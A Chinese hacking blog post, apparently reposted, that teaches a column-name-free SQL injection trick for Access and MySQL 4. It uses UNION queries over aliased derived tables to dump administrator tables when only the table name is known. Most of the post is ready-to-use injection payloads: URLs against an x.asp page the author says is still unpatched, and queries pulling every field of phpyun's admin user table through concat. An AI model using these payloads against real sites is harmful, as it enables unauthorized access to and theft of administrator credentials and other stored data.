access和mysql4注入小技巧

技巧使用时间:知道“表名”但是猜不到“列名”的时候

前几天看了文章:http://www.91ri.org/11120.html,这里提到了access的注入小技巧,如果看懂了~大家就忽略前半篇吧~~
然后今天想想,mysql4是没有information_schema的,也就是说表名和列名和access一样,要靠猜,那么~~这个技巧或许可以用上

ACCESS篇:

不知道大家还记得http://sb.f4ck.org/thread-6017-1-1.html 这篇文章么? access偏移注入,对的这里有个前提,想要注入的表(一般是管理员表)比当前表(比如文章表)select的字段要少

但是,如果使用了今天说的这个小技巧,就可以无视这个限制~~~

前提还是一样的,需要知道表名~~比如这里是admin~~(PS:我也不知道怎么这么久了他还是不补注入漏洞。。。)

首先,我们之前注入时候就知道这里有8列,因此直接构造如下语句:

  1. x.asp?id=90 union select 1,2,3,4,5,6,7,8 from(select * from admin order by 1)
复制代码


我们来分解下:

  1. union select 1,2,3,4,5,6,7,8 是匹配前面的列数
  2. from(x)是使用派生表~~
  3. select * from admin order by 1 是构造派生表
复制代码



这里我们看下order by 5:


很明显,不再显示列了,说明没有5列,我们之前文章中也说了,admin只有4列
于是我们构造:


  1. x.asp?id=90 union select 1,2,3,4,5,6,7,8 from(select 1 as a_1,2 as a_2,3 as a_3,4 as a_4 from admin where 1=2 union select * from admin)
复制代码



还是分解下:

  1. union select 1,2,3,4,5,6,7,8 是匹配前面的列数
  2. select 1 as a_1,2 as a_2,3 as a_3,4 as a_4 是将每一列做了别名,用途是之后可以用别名来引用我们不知道的列名
  3. where 1=2 目的是将前面的别名条件用假,从而显示后面的union select的内容
  4. union select * from admin 联合查询,得到真正需要的admin表所有列内容
复制代码




接下来就要用到我们的别名了:
这里撸主没有测试成功文章中所说的”

field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5

“方法,只能直接使用别名,可能是撸主的access太烂了吧……
于是:

  1. .asp?id=-90 union select 1,a_4
  2. ,a_3,4,5,6,7,8 from (select 1 as a_1,2 as a_2,3 as a_3,4 as a_4 from admin where 1=2 union select * from admin)
复制代码



这里其实就是将a_4,a_3显示出来而已,至于为什么是a_4,a_3,这就是一次次试验出来的……下次可能就是a_1,a_2


==================================================================================

MYSQL篇:


再来说说mysql,由于mysql4是没有information_schema的,因此或许可能会用到吧~
就拿php_yun做演示吧:

我们随便select两个字段:

  1. SELECT id,name FROM `phpyun_description`where id = 1 union select 1,2 from (select * from phpyun_admin_user order by 1)a
复制代码


这里注意与access不一样的地方,mysql不会自动给派生表定义别名,因此我们需要在最后加一个a,或者as a
不然会出什么问题,读者可以自己试试~~~


然后我们需要猜phpyun_admin_user的列数

  1. SELECT id,name FROM `phpyun_description`where id = 1 union select 1,2 from (select * from phpyun_admin_user order by 6)a
复制代码



猜出来是6列



之后我们构造“利用别名列查询出所有字段的子语句”:

  1. select 1 as a_1,2 as a_2,3 as a_3,4 as a_4,5 as a_5,6 as a_6 from phpyun_admin_user where 1=2 union select * from phpyun_admin_user
复制代码





最后我们将其拼接起来:

  1. SELECT id,name FROM `phpyun_description`where id = 1 and 1=2 union select a_3,a_4 from (select 1 as a_1,2 as a_2,3 as a_3,4 as a_4,5 as a_5,6 as a_6 from phpyun_admin_user where 1=2 union select * from phpyun_admin_user)a
复制代码




恩,既然是mysql,就可以一起显示啦~~利用concat,就不需要一个个测试到底是那一列了

  1. SELECT id,name FROM `phpyun_description`where id = 1 and 1=2 union select 1,concat(a_1,0x23,a_2,0x23,a_3,0x23,a_4,0x23,a_5,0x23,a_6) from (select 1 as a_1,2 as a_2,3 as a_3,4 as a_4,5 as a_5,6 as a_6 from phpyun_admin_user where 1=2 union select * from phpyun_admin_user)a
复制代码


转载于:https://www.cnblogs.com/mujj/articles/4084959.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值